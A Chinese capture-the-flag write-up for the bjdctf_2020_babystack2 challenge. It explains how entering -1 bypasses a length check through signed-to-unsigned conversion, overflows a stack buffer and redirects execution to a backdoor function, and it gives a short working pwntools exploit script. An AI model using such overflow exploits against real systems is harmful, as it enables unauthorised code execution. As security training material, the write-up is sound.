远程交互以下。

file 查看文件属性。64 位,LSB 可执行文件。

checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。

IDA 打开文件查看 main 函数。



代码流程:让用户输入一个整数,再将其存到 nbytes 变量中,之后通过 if 判断用户输入的整数是否大于 10 了,如果大于则终止程序。若为大于 10,则询问用户的名字,并将该名字存储到 buf 缓冲区中。

解题思路:绕过 if 的判断,使 read()函数溢出,但是输入大于 10 的整数会触发 exit(-1) 而终止程序,所以就需要一个既小于 10 而又大于 10 的整数

仔细查看 main 函数,在 read() 函数读取时, 将第一次的输入转换成了 unsigned int,即无符号整数。

unsigned int 是是一种无符号整数类型,即其存储的二进制位全部用于表示数值大小不包含符号位,它的二进制形式是一个纯数值编码,所有位均参与数值计算。例如,在32位系统中 unsigned int 占用4字节(32位),其取值范围为:0 到 2^32 - 1(即 0 到 4,294,967,295)。

但是,当 unsigned int 与有符号整型混合运算时,有符号数可能被隐式转换为无符号数,导致数值语义变化(如 -1 变为 4294967295)。

所以当我们输入-1时,可以成功绕过if,并且程序在执行到read函数时,读取的字节会变成4294967295个字节。

之后就是溢出 read() 函数,覆盖返回地址。

查看 buf 的栈,可以知道溢出的大小为:0x10+8=0x18→24

并且存在 backdoor 地址为:0x400726

编写exp:

from pwn import *

r=remote('node5.buuoj.cn',25304)
backdoor_addr=0x400726
payload=b'a'*(0x18)+p64(backdoor_addr)
r.sendlineafter('name','-1')
r.sendline(payload)
r.interactive()

PWN!

PWN手成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出的更多相关文章

  1. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  2. 架构师成长之路2.2-PXE+Kickstart安装部署

    点击返回架构师成长之路 架构师成长之路2.2-PXE+Kickstart安装部署 系统测试环境: 实验环境:VMware Workstation 12 系统平台:CentOS Linux releas ...

  3. 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读

    本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...

  4. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  5. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  6. 架构师成长之路5.7-Saltstack数据系统

    点击架构师成长之路 架构师成长之路5.7-Saltstack数据系统 1. Saltstack的两种数据系统 Grains Pollars 2. Saltstack数据系统---Grains Grai ...

  7. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

  8. redis成长之路——(二)

    redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...

  9. redis成长之路——(一)

    为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...

  10. 【腾讯Bugly干货分享】JSPatch 成长之路

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...

随机推荐

  1. ETL集成工具丨如何运用ETLCloud单步调试断点功能

    在现代数据处理领域,ETLCloud 的单步调试断点功能正成为数据管理的重要工具.ETLCloud 是一个强大的云端数据处理平台,它提供了灵活的单步调试功能,使得用户能够逐步跟踪和分析数据处理流程.本 ...

  2. ICEE-Power-IGBT(电压驱动型, 绝缘栅双极型晶体管)的功率转换实例: 电磁加热

    电磁加热器是用IGBT模块实现小电压信号控制超大电流调制成高频高功率电磁感应电能. IGBT模块全称"绝缘栅双极型晶体管"由BJT(双极型三极管)和MOS(缘栅型场效应管)组成的复 ...

  3. win11系统出现内部错误2203的问题

    有不少深度系统的win11专业版用户,在电脑上安装软件时提示2203的内部错误的问题,导致软件安装失败,这该如何解决呢?如果您也遇到这个问题不知道如何解决.就来看看深度技术小编整理的解决方案,希望有所 ...

  4. 深度技术解决Win11专业版任务栏卡死的问题

    近来有一位电脑基地的用户,遇到在win11专业版系统里面,点击任务栏出现卡死的问题?下面,深度技术系统小编就为大家分享具体的解决方法. Windows 11 专业版出现任务栏卡死的情况,可以通过以下方 ...

  5. CF1930D1 - Sum over all Substrings (Easy Version)

    对于每一个 \(f(i, j)\),我们考虑如何计算.我们发现,\(\texttt{1010}\) 式的字符串很有用,所以这启发我们如果遇到了一个模式 \(p_i = \texttt{'1'}\),那 ...

  6. GlobalCache 工具类

    package com.neo.config;import org.springframework.stereotype.Component;import java.util.Map;import j ...

  7. git拉取远程指定分支到本地

    git拉取远程指定分支到本地 以前写自己模块的时候,曾经建了一个本地分支dev,然后这个分支很久没有使用了,最近又要使用这个分支dev,然后要将远程仓库master分支上的内容同步到我本地dev分支 ...

  8. 使用 import () 生产环境会单独多 build 一个文件

    复现 这样写在 js (业务代码)中 x if(dev) { import () } 解决办法 使用 require if(dev) { require('./assets/dev/blog-comm ...

  9. drf从入门到精通

    前后端开发模式 API接口.接口测试工具postman.restful规范.序列化与反序列化.djangorestframework快速使用 Django Rest_Framework rest-fr ...

  10. python学习背景

    目录 基础软件介绍 学习历程简介 学习建议 软件安装案例 路径的概念 typora主要功能介绍 markdown常用语法 计算机及数据本质 文件后缀名的意义 计算机五大组成部分详解 三大核心硬件 操作 ...